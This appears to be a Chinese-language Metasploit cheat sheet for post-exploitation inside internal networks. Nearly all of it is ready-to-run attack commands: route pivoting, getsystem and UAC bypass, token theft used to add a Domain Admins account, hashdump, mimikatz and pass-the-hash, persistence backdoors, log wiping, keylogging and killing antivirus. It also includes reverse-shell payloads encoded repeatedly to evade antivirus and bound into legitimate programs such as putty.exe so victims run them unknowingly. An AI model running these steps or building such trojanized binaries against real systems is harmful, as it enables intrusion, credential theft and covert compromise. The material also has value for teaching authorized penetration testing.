MetaSploit内网渗透全技巧

技巧汇总

内网代理

方法一:

1
2
3
4
5
6
meterpreter > run get_local_subnets //获取网段
meterpreter > run autoroute -s 172.2.175.0/24 //添加路由
meterpreter > run autoroute -p //查看路由
meterpreter > run autoroute -d -s 172.2.175.0 //删除网段
meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 //探测该网段下的存活主机。
meterpreter > background //后台sessions

方法二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
meterpreter> run get_local_subnets #查看网段/子网 
Local subnet: 192.168.33.0/255.255.255.0
meterpreter> background #转入后台运行
msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息
msf> route print #查看添加的信息
msf> use linux/samba/lsa_transnames_heap #准备向内网目标主机进攻
msf> set payload linux/x86/shell/reverse_tcp
msf> set LHOST 10.10.1.129 #此处为attacking 主机的外网IP
msf> set LPORT 8080
msf> set RHOST 192.168.33.132 #内网目标主机
msf> exploit
也可以使用自动式添加路由模块:
msf> load auto_add_route
msf> exploit

权限提升

自动化提权:

1
meterpreter > getsystem //直getsystem提权,最常用简单的办法

半自动提权:

1
2
3
4
5
6
7
8
9
meterpreter > background //先后台运行会话
[*] Backgrounding session 1…
msf > use post/windows/escalate/ms10_073_kbdlayout
msf > show options
msf > set session 1 //设置要使用的会话
msf post(ms10_073_kbdlayout) > exploit
注意:如果创建了一个system进程,就可以立马sessions 1进入会话,然后ps查看进程,使用migrate pid注入到进程。
或者直接:
meterpreter > run post/windows/escalate/ms10_073_kbdlayout

令牌窃取与模拟

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后登陆其他机器时不需要登陆密码。

  • 窃取令牌
1
2
3
4
5
meterpreter > use incognito //进入这个模块
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,两个斜杠

注:只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的,建好的账户没有这个权限。使用菜刀(IIS服务器权限)反弹meterpreter是服务型权限。
  • 令牌模拟

    1
    2
    3
    4
    5
    6
    7
    8
    9
    meterpreter> ps # 查看目标机器进程,找出域控账户运行的进程ID,假如发现PID 为380 
    meterpreter> steal_token 380
    有时ps 命令列出的进程中可能不存在域控账户的进程,此时使用incognito 模块查看可
    用token:
    meterpreter> use incognito
    meterpreter> list_tokens –u #列出可用token,假如找到域控token
    meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin
    meterpreter> add_user hacker password –h 192.168.1.50 #在域控主机上添加账户
    meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #将账户添加至域管理员组

BypassUAC

1
2
3
4
msf > use exploit/windows/local/bypassuac //32位与64位一样,其他几个模块也一样
msf > show options
msf > set session 4
msf > run //成功后会返回一个新的session,进入新会话,发现权限没变,使用getsystem即可完成提权

HashDump

1
meterpreter > run post/windows/gather/smart_hashdump //读取hash这种做法最智能,效果最好

64 位win7 下需要管理员权限执行后门且先getsystem,然后使用 run post/windows/gather/hashdump 来dump hash 成功率更高。
而且如果要使用shell 添加系统账户的话win7 下得先:

1
run post/windows/escalate/bypassuac

不然可能不会成功

权限维持

  • 服务启动后门

    1
    2
    3
    4
    5
    6
    meterpreter > run metsvc -A //再开起一个终端,进入msfconsole
    msf > use exploit/multi/handler //新终端中监听
    msf > set payload windows/metsvc_bind_tcp
    msf > set LPORT 31337
    msf > set RHOST 192.168.0.128
    msf > run //获取到的会话是system权限
  • 启动项启动后门

    1
    meterpreter > run persistence -X -i 10 -p 6666 -r 192.168.71.105

    -X 系统开机自启,-i 10 10秒重连一次,-p 监听端口,-r 监听机。直接监听就好了,他自己会链接回来。注意到移除 persistence 后门的办法是删除 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 中的注册表键和 C:\WINDOWS\TEMP\ 中的 VBScript 文件。

    下次连接时:

    1
    2
    3
    4
    5
    msf> use multi/handler 
    set payload windows/meterpreter/reverse_tcp
    set LPOST 443
    set LHOST 192.168.1.111
    exploit

会在以下位置和注册表以随机文件名写入文件等信息,如:

1
2
3
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs 
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)

缺点:容易被杀毒软件杀 。

弊端:这两个后门有个弊端,在进程中都会存在服务名称为meterpreter的进程

漏洞扫描

  • 端口扫描

    1
    2
    3
    4
    5
    6
    use auxiliary/scanner/portscan/tcp
    show options
    set rhosts 192.168.2.1-255
    set ports 21,22,25,443,445,1433,3306
    set threads 20
    exploit
  • MSSQL开发利用

    1. 对各个ip是否有mssql服务的探测

      1
      2
      3
      4
      5
      use scanner/mssql/mssql_ping //测试MSSQL的存在和信息
      show options
      set rhosts 192.168.2.1-255
      set threads 30
      exploit
    2. 对扫描到的IP进行爆破

      1
      2
      3
      4
      5
      6
      7
      msf> use auxiliary/scanner/mssql/mssql_login 
      show options
      set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt
      set RHOSTS 192.168.1.130
      set THREADS 10
      set verbose false
      exploit
    3. sa权限对其利用

      1
      2
      3
      4
      5
      use admin/mssql/mssql_exec
      set rhost 192.168.2.10
      set password sa
      set CMD cmd.exe /c echo hello
      exploit
  1. 使用MSSQL自带的 xp_cmdshell 添加账户
    1
    2
    3
    4
    5
    6
    7
    8
    msf> use exploit/windows/mssql/mssql_payload 
    show options
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.111
    set LPORT 433
    set RHOST 192.168.1.130
    set PASSWORD password130
    exploit
  • MySQL开放利用

    1
    待完善

  • 爆破ssh模块

    1
    2
    3
    4
    5
    6
    use auxiliary/scanner/ssh/ssh_login
    set rhosts 7.7.7.20
    set username root
    set pass_file /root/pass.txt //加载字典,可以收集密码做字典
    set threads 50
    run
  • 通过nmap扫描基本漏洞

    1
    2
    msf > nmap –script=vuln 受害靶机ip地址
    msf > nmap –script=mysql-info 192.168.0.4 //扫描mysql数据库信息 版本 等..

###清除痕迹

1
msf > clearev //删除目标机上的应用程序、系统和安全日志。

读取系统账号密码

  • 加载mimikatz

    1
    2
    meterpreter > load mimikatz //加载mimikatz模块
    meterpreter > wdigest //需要system权限
  • 读取Hash并使用smb协议登录

    1
    2
    meterpreter> use priv 
    meterpreter> run post/windows/gather/hashdump

    当获取到密码的hash 之后无法破解出明文密码且无法直接使用hash 登陆,需要使用 pass-the-hash 技术:

    1
    2
    3
    4
    5
    6
    7
    msf> use windows/smb/psexec 
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.111
    set LPORT 443
    set RHOST 192.168.1.130
    set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
    exploit

    获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:
    在目标机器上执行:

    1
    net user hacker p@ssw0rd /add

    本地生成一个后门程序:

    1
    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=443 X > payload.exe

    将payload.exe 拷贝到目标机器然后使用新建立的账号执行本地执行端口监听,等待来自目标机器连接:

    1
    2
    3
    4
    5
    msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp 
    LHOST=192.168.1.111 LPORT=443
    use priv
    getsystem
    getuid

    至此取得SYSTEM 权限

键盘记录

1
meterpreter> run post/windows/capture/keylog_recorder //运行键盘记录模块,他自己创建本文。

/root/.msf3/loot/*.txt #查看结果

进程权限迁移

当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp 进行攻击时浏览器可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。

1
meterpreter> run post/windows/manage/migrate

在64 位win7 中migrate 需要管理员权限执行后门才能成功,而migrate 前后获取的权限是有差异的。

关闭杀毒软件

1
meterpreter> run killav (这个脚本要小心使用,可能导致目标机器蓝屏死机。)

获取系统流量

1
meterpreter> run packtrecorder –i 1

获取目标网络共享

1
meterpreter> run scraper

从目标主机获得所有网络共享等信息。并且获得的这些所有这些信息都存储在 /root/.msf4/logs/scripts/scraper/directory 目录下。使用 ls 命令查看存储的这些文件。

VNC远程界面控制

  • VNC控制命令
1
2
meterpreter> run vnc 
meterpreter> run screen_unlock

Windows API编程 , Hello World弹窗

使用Railgun 操作windows APIs

1
2
3
4
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> client.railgun.user32.MessageBoxA(0,"Hello World","Im Title","MB_OK")

编码绕过杀软

1
msfencode –l #列出可用编码器

简单编码:

1
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R |msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe

使用R 参数作为raw 输出至管道,再经过msfencode 处理,最后导出。

多次编码:

1
2
3
4
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R | 
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/alpha_upper –c 2 –t raw |
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/countdown –c 5 –t exe –o
/var/www/payload3.exe

简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17 次循环编码。

题外:

经测试 >>>

1:使用此命令生成的后门也被MSE 杀到;

2:未编码的后门或编码次数较少的后门可以直接被秒杀;

3:windows/x64/meterpreter/reverse_tcp 生成的后门未经任何处理仍然不被杀,看来杀毒软件傻逼了;

4:x86 编码器编码的后门在64 位机器上无法执行;

5:360 有个沙箱功能,后门文件右键选择“在360 隔离沙箱中运行”,msf照样可以连接并操作,看来隔离沙箱功能有限。)

自定义可执行程序模板

msfencode 默认使用data/templates/templates.exe(msf v4 在templates 目录下有针对不同
平台的不同模板)作为可执行程序的模板,杀毒厂商也不是傻逼,所以这里最好使用自定义模板,如:

1
2
3
4
5
6
wget <http://download.sysinternals.com/Files/ProcessExplorer.zip> 
cd work
unzip ProcessExplorer.zip
cd ..
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
–t exe –x work/procexp.exe –o /var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5

在目标机器上运行,然后本地使用msfcli 监听端口等待反弹连接:

1
2
msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111 
LPORT=8080 E

暗度陈仓—猥琐执行payload (绑定到可执行文件)

绑定payload 至一个可执行文件,让目标不知不觉间中招,以putty.exe 为例:

1
2
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode 
–t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5

假如选择一个GUI 界面的程序作为绑定目标并且不使用-k 选项,则目标执行此程序的时候不会弹出cmd 窗口,-k 选项的作用是payload 独立于模板软件的进程运行。

MetaSploit 创建工作空间

很多时候,你要在不同的环境下,渗透不同的目标,这个时候 hosts中的IP会很乱,你就需要工作空间来区分开你每次不同的渗透环境中的操作与存储,来说说Metasploit中的 workspace

1
2
3
4
5
6
7
8
9
10
msf > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old> <new> Rename workspace
workspace -h Show this help information

比较常用的命令:

添加工作空间

1
2
3
msf > workspace -a imworkspaceone
[*] Added imworkspaceone
msf >

选择工作空间

1
2
msf > workspace imworkspaceone 
[*] Workspace: imworkspaceone

删除工作空间

1
2
3
4
msf > workspace -d imworkspaceone
[*] Deleted workspace: imworkspaceone
[*] Switched workspace: default
msf >

操作多个工作空间来分离渗透操作与数据。

使用 Hosts 中的IP定向渗透

当你选择好了你的攻击模块的时候 ,想要将 RHOSTS 中的IP列表设置为Hosts中的IP(这里你需要Hosts中有IP才行,可以选中用 db_import 导入,也可以用 db_nmap 扫描获取)

首先配置你的攻击模块,然后 show options 查看需要配置目标的配置项是RHOSTS还是RHOST,当需要设置RHOSTS的时候 hosts -c address -R 就将hosts中所有IP地址的列表传送给了RHOSTS,执行run 向metasploit发送执行命令。

以下是一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds

msf auxiliary(scanner/portscan/tcp) > hosts -c address -R

Hosts
=====

address
-------
10.12.103.171
10.12.103.172
10.12.103.173
10.12.103.174
10.12.103.191
10.12.103.192
...
...
...
...
10.14.80.212
10.14.80.213
10.14.80.214
10.14.80.215
10.14.80.216

RHOSTS => file:/var/folders/0n/78ntbx595w3fll8tn5gk4t3c0000gn/T/msf-db-rhosts-20180412-7048-17nfta1

msf auxiliary(scanner/portscan/tcp) > run

[+] 10.12.103.171: - 10.12.103.171:22 - TCP OPEN
[+] 10.12.103.171: - 10.12.103.171:80 - TCP OPEN
[+] 10.12.103.171: - 10.12.103.171:111 - TCP OPEN
...
...

常用渗透手段

扫描匿名FTP

1
2
3
4
use auxiliary/scanner/ftp/anonymos 
set RHOSTS 192.168.1.0/24
set THREADS 50
run

与nessus 结合扫描

使用Nessus 扫描完成后生成.nessus 格式的报告,导入到MSF:

1
2
3
4
db_connect postgres:toor@127.0.0.1/msf 
db_import /tmp/nessus_report_Host_test.nessus
db_hosts –c address,svcs,vulns
db_vulns

在MSF 中使用Nessus:

1
2
3
4
5
6
7
8
9
db_connect postgres:toor@127.0.0.1/msf 
load nessus
nessus_connect nessus:toor@192.168.1.111:8834 ok
nessus_policy_list #查看存在的扫描规则
nessus_scan_new 2 bridge_scan 192.168.1.111 #2 表示规则的ID 号,bridge_scan 自定义扫描名称
nessus_scan_status #查看扫描进行状态
nessus_report_list #查看扫描结果
nessus_report_get skjla243-3b5d-* #导入报告
db_hosts –c address,svcs,vulns

SMB弱口令扫描

1
2
3
4
5
msf> use auxiliary/scanner/smb/smb_login 
set RHOSTS 192.168.1.111-222
set SMBUser Administrator
set SMBPass admin
run

VNC空口令扫描

1
2
3
msf> use auxiliary/scanner/vnc/vnc_none_auth 
set RHOSTS 192.168.1.111
run

Open X11空口令

1
2
3
4
msf> use auxiliary/scanner/x11/open_x11 
set RHOST 192.168.1.0/24
set THREADS 50
run

Msf自动化测试(一行命令执行)

为了缩短渗透测试的时间可以将 Msf 命令写入一个文件,然后使用 msfconsole 加载执行。

加载方式:msfconsole 的resource 命令或者msfconsole 加上-r 选项

例如:

1
2
3
echo ‘version’ > resource.rc 
echo ‘load sounds’ >> resource.rc
msfconsole –r resource.rc

例如:

1
2
3
4
5
6
7
echo ‘use exploit/windows/smb/ms08_067_netapi’ > autoexp.rc 
echo ‘set RHOST 192.168.1.133’ >> autoexp.rc
echo ‘set PAYLOAD windows/meterpreter/reverse_tcp’ >> autoexp.rc
echo ‘set LHOST 192.168.1.111’ >> autoexp.rc
echo ‘exploit’ >> autoexp.rc
msfconsole
msf> resource autoexp.rc